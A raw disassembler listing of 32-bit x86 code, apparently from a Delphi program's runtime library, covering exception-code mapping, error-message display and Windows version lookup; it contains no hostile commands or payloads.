		call	sub_4045BC
		mov	ebx, offset dword_405828
		mov	edi, offset dword_405828
		mov	eax, esi
		mov	edx, off_4039D8
		call	sub_401FD4
		test	al, al
		jz	short loc_40577A
		mov	eax, [esi+4]
		call	sub_402A38
		mov	ebx, eax
		mov	eax, ebx
		call	sub_404594
		test	eax, eax
		jz	short loc_40577A
		cmp	byte ptr [ebx+eax-1], 2Eh
		jz	short loc_40577A
		mov	edi, offset dword_40582C


loc_40577A:				; CODE XREF: CODE:00405757j
					; CODE:0040576Cj ...
		push	100h
		lea	eax, [ebp-312h]
		push	eax
		mov	eax, ds:off_409404
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_40A694
		call	sub_402F04
		push	eax
		call	sub_4036A8	; LoadStringA
		lea	edx, [ebp-458h]
		mov	eax, [esi]
		call	sub_401EF4
		lea	eax, [ebp-458h]
		mov	[ebp-358h], eax
		mov	byte ptr [ebp-354h], 4
		lea	eax, [ebp-10Dh]
		mov	[ebp-350h], eax
		mov	byte ptr [ebp-34Ch], 6
		mov	eax, [ebp-8]
		mov	[ebp-348h], eax
		mov	byte ptr [ebp-344h], 5
		mov	[ebp-340h], ebx
		mov	byte ptr [ebp-33Ch], 6
		mov	[ebp-338h], edi
		mov	byte ptr [ebp-334h], 6
		lea	eax, [ebp-358h]
		push	eax
		push	4
		lea	ecx, [ebp-312h]
		mov	edx, [ebp+8]
		mov	eax, [ebp-4]
		call	sub_404AE0
		mov	eax, [ebp-4]
		call	sub_404594
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4
dword_405828	dd 0							; CODE:00405743o
dword_40582C	dd 2Eh,	0FBBCC481h, 68FFFFh, 8D000004h,	0E848244Ch, 0FFFFFE64h
					; DATA XREF: CODE:00405775o
; ---------------------------------------------------------------------------
		mov	eax, ds:off_4093C0
		cmp	byte ptr [eax],	0
		jz	short loc_40589D
		mov	eax, ds:off_409320
		call	sub_401830
		call	sub_4012E4
		push	0
		lea	eax, [esp+4]
		push	eax
		lea	eax, [esp+4Ch]
		call	sub_404594
		push	eax
		lea	eax, [esp+50h]
		push	eax
		push	0FFFFFFF5h
		call	sub_403658	; GetStdHandle
		push	eax
		call	sub_403690	; WriteFile
		push	0
		lea	eax, [esp+4]
		push	eax
		push	2
		push	offset dword_4058E4
		push	0FFFFFFF5h
		call	sub_403658	; GetStdHandle
		push	eax
		call	sub_403690	; WriteFile
		jmp	short loc_4058D3
; ---------------------------------------------------------------------------


loc_40589D:				; CODE XREF: CODE:0040584Cj
		push	40h
		lea	eax, [esp+8]
		push	eax
		mov	eax, ds:off_409304
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_40A694
		call	sub_402F04
		push	eax
		call	sub_4036A8	; LoadStringA
		push	2010h
		lea	eax, [esp+8]
		push	eax
		lea	eax, [esp+4Ch]
		push	eax
		push	0
		call	sub_4036B0	; MessageBoxA


loc_4058D3:				; CODE XREF: CODE:0040589Bj
		add	esp, 444h
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4058E4	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================



sub_4058E8	proc near		; CODE XREF: sub_405AA0+32p
					; sub_405B20+38p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4058F7
		add	esp, 0FFFFFFF0h
		call	sub_402078


loc_4058F7:				; CODE XREF: sub_4058E8+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_40261C
		mov	eax, edi
		test	bl, bl
		jz	short loc_40591C
		call	sub_4020D0
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40591C:				; CODE XREF: sub_4058E8+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4058E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405924	proc near		; CODE XREF: sub_405B74+77p
					; sub_405CFC+127p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_405938
		add	esp, 0FFFFFFF0h
		call	sub_402078


loc_405938:				; CODE XREF: sub_405924+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40597E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_404B20
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_40261C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405985


loc_405975:				; CODE XREF: sub_405924+5Fj
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_40597E:				; DATA XREF: sub_405924+1Do
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_405975
; ---------------------------------------------------------------------------


loc_405985:				; CODE XREF: sub_405924+59j
					; DATA XREF: sub_405924+4Co
		mov	eax, edi
		test	bl, bl
		jz	short loc_40599A
		call	sub_4020D0
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40599A:				; CODE XREF: sub_405924+65j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_405924	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059A4	proc near		; CODE XREF: sub_405C4C+Dp
					; sub_405FA4+Dp ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4059B3
		add	esp, 0FFFFFFF0h
		call	sub_402078


loc_4059B3:				; CODE XREF: sub_4059A4+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	edx, [edi+4]
		mov	eax, esi
		call	sub_4033B0
		mov	eax, edi
		test	bl, bl
		jz	short loc_4059D8
		call	sub_4020D0
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4059D8:				; CODE XREF: sub_4059A4+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4059A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059E0	proc near		; CODE XREF: sub_4043CC+14p
					; sub_405AA0+51p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4059F6
		add	esp, 0FFFFFFF0h
		call	sub_402078


loc_4059F6:				; CODE XREF: sub_4059E0+Cj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_405A4C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_4033B0
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_404B20
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_40261C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405A53


loc_405A3E:				; CODE XREF: sub_4059E0+71j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_405A4C:				; DATA XREF: sub_4059E0+1Fo
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_405A3E
; ---------------------------------------------------------------------------


loc_405A53:				; CODE XREF: sub_4059E0+6Bj
					; DATA XREF: sub_4059E0+59o
		mov	eax, edi
		test	bl, bl
		jz	short loc_405A68
		call	sub_4020D0
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_405A68:				; CODE XREF: sub_4059E0+77j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_4059E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405A74	proc near		; DATA XREF: CODE:00403A84o
					; CODE:00403AE0o ...
		cmp	byte ptr [eax+0Ch], 0
		jz	short locret_405A7F
		call	sub_401F24

locret_405A7F:				; CODE XREF: sub_405A74+4j
		retn
sub_405A74	endp

; ---------------------------------------------------------------------------
off_405A80	dd offset dword_405A84	; DATA XREF: sub_406B98+50r
dword_405A84	dd 4554090Eh, 726F7272h, 8636552h, 1000000h		db 3 dup(0)
		dd offset off_401000
		db 4
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405AA0	proc near		; CODE XREF: sub_405B20:loc_405B61p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		xor	ebx, ebx
		call	sub_401320
		mov	esi, eax
		jmp	short loc_405AB1
; ---------------------------------------------------------------------------


loc_405AB0:				; CODE XREF: sub_405AA0+1Dj
		inc	ebx


loc_405AB1:				; CODE XREF: sub_405AA0+Ej
		cmp	ebx, 6
		jg	short loc_405ABF
		cmp	esi, ds:dword_4091A8[ebx*8]
		jnz	short loc_405AB0


loc_405ABF:				; CODE XREF: sub_405AA0+14j
		cmp	ebx, 6
		jg	short loc_405AD9
		mov	ecx, ds:dword_4091AC[ebx*8]
		mov	dl, 1
		mov	eax, off_403AF8
		call	sub_4058E8
		jmp	short loc_405AF6
; ---------------------------------------------------------------------------


loc_405AD9:				; CODE XREF: sub_405AA0+22j
		mov	[esp+10h+var_10], esi
		mov	[esp+10h+var_C], 0
		push	esp
		push	0
		mov	ecx, ds:off_409300
		mov	dl, 1
		mov	eax, off_403AF8
		call	sub_4059E0


loc_405AF6:				; CODE XREF: sub_405AA0+37j
		mov	[eax+0Ch], esi
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_405AA0	endp

; ---------------------------------------------------------------------------
		align 10h
off_405B00	dd offset dword_405B04	; DATA XREF: sub_406B98+3Br
dword_405B04	dd 45540A0Eh, 70656378h, 63655274h, 8, 1		dd offset off_401000
		dd 4

; =============== S U B	R O U T	I N E =======================================



sub_405B20	proc near		; CODE XREF: sub_40128C+16p
					; DATA XREF: sub_405FA4+33o ...
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		dec	dl
		jz	short loc_405B35
		dec	dl
		jz	short loc_405B3D
		dec	edx
		sub	dl, 16h
		jb	short loc_405B45
		jmp	short loc_405B61
; ---------------------------------------------------------------------------


loc_405B35:				; CODE XREF: sub_405B20+7j
		mov	edx, ds:dword_40A7C4
		jmp	short loc_405B68
; ---------------------------------------------------------------------------


loc_405B3D:				; CODE XREF: sub_405B20+Bj
		mov	edx, ds:dword_40A7C8
		jmp	short loc_405B68
; ---------------------------------------------------------------------------


loc_405B45:				; CODE XREF: sub_405B20+11j
		and	eax, 0FFh
		lea	eax, dword_4091C8[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4058E8
		mov	edx, eax
		jmp	short loc_405B68
; ---------------------------------------------------------------------------


loc_405B61:				; CODE XREF: sub_405B20+13j
		call	sub_405AA0
		mov	edx, eax


loc_405B68:				; CODE XREF: sub_405B20+1Bj
					; sub_405B20+23j ...
		push	ebx
		mov	eax, edx
		jmp	sub_402308
sub_405B20	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B74	proc near		; CODE XREF: sub_405C30+3p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_405C10
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_405BA9
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_402660
		jmp	short loc_405BB6
; ---------------------------------------------------------------------------


loc_405BA9:				; CODE XREF: sub_405B74+27j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_4093B4
		call	sub_4033B0


loc_405BB6:				; CODE XREF: sub_405B74+33j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0Bh
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_1C]
		push	eax
		push	2
		lea	edx, [ebp+var_20]
		mov	eax, ds:off_4093D4
		call	sub_4033B0
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, off_404200
		call	sub_405924
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405C17


loc_405BFF:				; CODE XREF: sub_405B74+A1j
		lea	eax, [ebp+var_20]
		call	sub_4025C8
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_405C10:				; DATA XREF: sub_405B74+1Ao
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_405BFF
; ---------------------------------------------------------------------------


loc_405C17:				; CODE XREF: sub_405B74+9Bj
					; DATA XREF: sub_405B74+86o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405B74	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C20	proc near		; CODE XREF: sub_405C30+11p
		mov	esp, ecx
		mov	[esp+0], edx
		mov	ebp, [ebp+0]
		jmp	sub_402308
sub_405C20	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C30	proc near		; DATA XREF: sub_405FA4+67o
					; BSS:off_40A020o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_405B74
		lea	ecx, [ebp+arg_0]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		call	sub_405C20
		pop	ebp
		retn	4
sub_405C30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405C4C	proc near		; DATA XREF: sub_405FA4+74o
					; BSS:off_40A028o
		mov	ecx, ds:off_409318
		mov	dl, 1
		mov	eax, off_404260
		call	sub_4059A4
		call	sub_402308
		retn
sub_405C4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C64	proc near		; CODE XREF: sub_405CE4+5p
					; sub_405EC8+20p
		mov	eax, [eax]
		cmp	eax, 0C0000092h
		jg	short loc_405C99
		jz	short loc_405CC8
		cmp	eax, 0C000008Eh
		jg	short loc_405C8B
		jz	short loc_405CCB
		sub	eax, 0C0000005h
		jz	short loc_405CD4
		sub	eax, 87h
		jz	short loc_405CC2
		dec	eax
		jz	short loc_405CD1
		jmp	short loc_405CE0
; ---------------------------------------------------------------------------


loc_405C8B:				; CODE XREF: sub_405C64+10j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_405CC8
		jz	short loc_405CCE
		jmp	short loc_405CE0
; ---------------------------------------------------------------------------


loc_405C99:				; CODE XREF: sub_405C64+7j
		cmp	eax, 0C0000096h
		jg	short loc_405CB1
		jz	short loc_405CD7
		sub	eax, 0C0000093h
		jz	short loc_405CD1
		dec	eax
		jz	short loc_405CBF
		dec	eax
		jz	short loc_405CC5
		jmp	short loc_405CE0
; ---------------------------------------------------------------------------


loc_405CB1:				; CODE XREF: sub_405C64+3Aj
		sub	eax, 0C00000FDh
		jz	short loc_405CDD
		sub	eax, 3Dh
		jz	short loc_405CDA
		jmp	short loc_405CE0
; ---------------------------------------------------------------------------


loc_405CBF:				; CODE XREF: sub_405C64+46j
		mov	al, 3
		retn
; ---------------------------------------------------------------------------


loc_405CC2:				; CODE XREF: sub_405C64+20j
		mov	al, 4
		retn
; ---------------------------------------------------------------------------


loc_405CC5:				; CODE XREF: sub_405C64+49j
		mov	al, 5
		retn
; ---------------------------------------------------------------------------


loc_405CC8:				; CODE XREF: sub_405C64+9j
					; sub_405C64+2Fj
		mov	al, 6
		retn
; ---------------------------------------------------------------------------


loc_405CCB:				; CODE XREF: sub_405C64+12j
		mov	al, 7
		retn
; ---------------------------------------------------------------------------


loc_405CCE:				; CODE XREF: sub_405C64+31j
		mov	al, 8
		retn
; ---------------------------------------------------------------------------


loc_405CD1:				; CODE XREF: sub_405C64+23j
					; sub_405C64+43j
		mov	al, 9
		retn
; ---------------------------------------------------------------------------


loc_405CD4:				; CODE XREF: sub_405C64+19j
		mov	al, 0Bh
		retn
; ---------------------------------------------------------------------------


loc_405CD7:				; CODE XREF: sub_405C64+3Cj
		mov	al, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_405CDA:				; CODE XREF: sub_405C64+57j
		mov	al, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_405CDD:				; CODE XREF: sub_405C64+52j
		mov	al, 0Eh
		retn
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_405C64+25j
					; sub_405C64+33j ...
		mov	al, 16h
		retn
sub_405C64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405CE4	proc near		; DATA XREF: sub_405FA4+56o
					; BSS:off_40A00Co
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_405C64
		and	eax, 0FFh
		mov	eax, ds:dword_4091C8[eax*8]
		pop	ebx
		retn
sub_405CE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CFC	proc near		; CODE XREF: sub_405EC8+54p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_125		= byte ptr -125h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_170], eax
		mov	[ebp+var_14C], eax
		mov	[ebp+var_154], eax
		mov	[ebp+var_150], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_405EB7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax-4]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_405D4D
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_409410
		call	sub_4033B0
		jmp	short loc_405D5A
; ---------------------------------------------------------------------------


loc_405D4D:				; CODE XREF: sub_405CFC+40j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_4093A8
		call	sub_4033B0


loc_405D5A:				; CODE XREF: sub_405CFC+4Fj
		mov	esi, [ebx+18h]
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	sub_403688	; VirtualQuery
		cmp	[ebp+var_10], 1000h
		jnz	loc_405E2C
		push	105h
		lea	eax, [ebp+var_125]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_403640	; GetModuleFileNameA
		test	eax, eax
		jz	loc_405E2C
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_148], eax
		mov	[ebp+var_144], 5
		lea	eax, [ebp+var_150]
		lea	edx, [ebp+var_125]
		mov	ecx, 105h
		call	sub_402814
		mov	eax, [ebp+var_150]
		lea	edx, [ebp+var_14C]
		call	sub_4044E8
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_140], eax
		mov	[ebp+var_13C], 0Bh
		mov	eax, [ebp+var_4]
		mov	[ebp+var_138], eax
		mov	[ebp+var_134], 0Bh
		mov	[ebp+var_130], esi
		mov	[ebp+var_12C], 5
		lea	eax, [ebp+var_148]
		push	eax
		push	3
		lea	edx, [ebp+var_154]
		mov	eax, ds:off_4093CC
		call	sub_4033B0
		mov	ecx, [ebp+var_154]
		mov	dl, 1
		mov	eax, off_404038
		call	sub_405924
		mov	ebx, eax
		jmp	short loc_405E86
; ---------------------------------------------------------------------------


loc_405E2C:				; CODE XREF: sub_405CFC+77j
					; sub_405CFC+94j
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], 5
		mov	eax, [ebp+var_4]
		mov	[ebp+var_164], eax
		mov	[ebp+var_160], 0Bh
		mov	[ebp+var_15C], esi
		mov	[ebp+var_158], 5
		lea	eax, [ebp+var_16C]
		push	eax
		push	2
		lea	edx, [ebp+var_170]
		mov	eax, ds:off_4093E4
		call	sub_4033B0
		mov	ecx, [ebp+var_170]
		mov	dl, 1
		mov	eax, off_404038
		call	sub_405924
		mov	ebx, eax


loc_405E86:				; CODE XREF: sub_405CFC+12Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405EBE


loc_405E93:				; CODE XREF: sub_405CFC+1C0j
		lea	eax, [ebp+var_170]
		call	sub_4025C8
		lea	eax, [ebp+var_154]
		mov	edx, 3
		call	sub_4025EC
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_405EB7:				; DATA XREF: sub_405CFC+2Bo
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_405E93
; ---------------------------------------------------------------------------


loc_405EBE:				; CODE XREF: sub_405CFC+1BAj
					; DATA XREF: sub_405CFC+192o
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405CFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405EC8	proc near		; CODE XREF: sub_4021A4+33p
					; DATA XREF: sub_405FA4+61o ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_405F83
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_405C64
		and	eax, 0FFh
		mov	edx, eax
		add	edx, 0FFFFFFFDh
		sub	edx, 8
		jb	short loc_405F04
		jz	short loc_405F1B
		dec	edx
		sub	edx, 0Ah
		jnb	short loc_405F26


loc_405F04:				; CODE XREF: sub_405EC8+32j
		lea	eax, dword_4091C8[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4058E8
		mov	ebx, eax
		jmp	short loc_405F56
; ---------------------------------------------------------------------------


loc_405F1B:				; CODE XREF: sub_405EC8+34j
		push	ebp
		call	sub_405CFC
		pop	ecx
		mov	ebx, eax
		jmp	short loc_405F56
; ---------------------------------------------------------------------------


loc_405F26:				; CODE XREF: sub_405EC8+3Aj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		lea	edx, [ebp+var_10]
		mov	eax, ds:off_4092D8
		call	sub_4033B0
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, off_403BA8
		call	sub_405924
		mov	ebx, eax


loc_405F56:				; CODE XREF: sub_405EC8+51j
					; sub_405EC8+5Cj
		mov	eax, ebx
		mov	edx, off_403B50
		call	sub_401FD4
		test	al, al
		jz	short loc_405F6D
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax


loc_405F6D:				; CODE XREF: sub_405EC8+9Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405F8A


loc_405F7A:				; CODE XREF: sub_405EC8+C0j
		lea	eax, [ebp+var_10]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_405F83:				; DATA XREF: sub_405EC8+12o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_405F7A
; ---------------------------------------------------------------------------


loc_405F8A:				; CODE XREF: sub_405EC8+BAj
					; DATA XREF: sub_405EC8+ADo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405EC8	endp

; ---------------------------------------------------------------------------
		align 4
dword_405F94	dd 0FFF897E8h, 1B8FFh, 0DE80000h, 0C3FFFFC6h					; BSS:off_40A004o

; =============== S U B	R O U T	I N E =======================================



sub_405FA4	proc near		; CODE XREF: sub_406D18:loc_406D5Ep
		mov	ecx, ds:off_409308
		mov	dl, 1
		mov	eax, off_403A9C
		call	sub_4059A4
		mov	ds:dword_40A7C4, eax
		mov	ecx, ds:off_409390
		mov	dl, 1
		mov	eax, off_403F24
		call	sub_4059A4
		mov	ds:dword_40A7C8, eax
		mov	eax, ds:off_4092E0
		mov	dword ptr [eax], offset	sub_405B20
		mov	eax, ds:off_409334
		mov	dword ptr [eax], offset	dword_405F94
		mov	eax, ds:off_4092FC
		mov	edx, off_4039D8
		mov	[eax], edx
		mov	eax, ds:off_40932C
		mov	dword ptr [eax], offset	sub_405CE4
		mov	eax, ds:off_409338
		mov	dword ptr [eax], offset	sub_405EC8
		mov	eax, offset sub_405C30
		mov	edx, ds:off_4093A0
		mov	[edx], eax
		mov	eax, offset sub_405C4C
		mov	edx, ds:off_4092D4
		mov	[edx], eax
		retn
sub_405FA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_406028	proc near		; CODE XREF: sub_406B98+2Cp
		mov	eax, ds:dword_40A7C4
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_40A7C4
		mov	edx, [eax]
		call	dword ptr [edx-8]
		xor	eax, eax
		mov	ds:dword_40A7C4, eax
		mov	eax, ds:dword_40A7C8
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_40A7C8
		call	sub_401F50
		xor	eax, eax
		mov	ds:dword_40A7C8, eax
		mov	eax, ds:off_4092E0
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_409334
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_4092FC
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_40932C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_409338
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_4093A0
		xor	edx, edx
		mov	[eax], edx
		retn
sub_406028	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_406094	proc near		; CODE XREF: sub_406D18+4Bp

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h

		add	esp, 0FFFFFF6Ch
		mov	[esp+94h+var_94], 94h
		push	esp
		call	sub_403670	; GetVersionExA
		test	eax, eax
		jz	short loc_4060E2
		mov	eax, [esp+94h+var_84]
		mov	ds:dword_4090B4, eax
		mov	eax, [esp+94h+var_90]
		mov	ds:dword_4090B8, eax
		mov	eax, [esp+94h+var_8C]
		mov	ds:dword_4090BC, eax
		mov	eax, [esp+94h+var_88]
		mov	ds:dword_4090C0, eax
		mov	eax, offset dword_4090C4
		lea	edx, [esp+94h+var_80]
		mov	ecx, 80h
		call	sub_402814


loc_4060E2:				; CODE XREF: sub_406094+15j
		add	esp, 94h
		retn
sub_406094	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4060EC	proc near		; CODE XREF: sub_406164+1Bp
					; sub_406188+Bp
		push	esi
		push	edi
		mov	edi, edx
		xor	edx, edx
		test	eax, eax
		jz	short loc_40615C
		cmp	byte ptr [eax+edi], 0
		jz	short loc_40615C
		test	edi, edi
		jnz	short loc_406114
		mov	al, [eax]
		and	eax, 0FFh
		bt	ds:dword_4090C8, eax
		jnb	short loc_40615C
		mov	dl, 1
		jmp	short loc_40615C
; ---------------------------------------------------------------------------


loc_406114:				; CODE XREF: sub_4060EC+12j
		mov	esi, edi
		dec	esi
		jmp	short loc_40611A
; ---------------------------------------------------------------------------


loc_406119:				; CODE XREF: sub_4060EC+42j
		dec	esi


loc_40611A:				; CODE XREF: sub_4060EC+2Bj
		test	esi, esi
		jl	short loc_406130
		mov	cl, [eax+esi]
		and	ecx, 0FFh
		bt	ds:dword_4090C8, ecx
		jb	short loc_406119


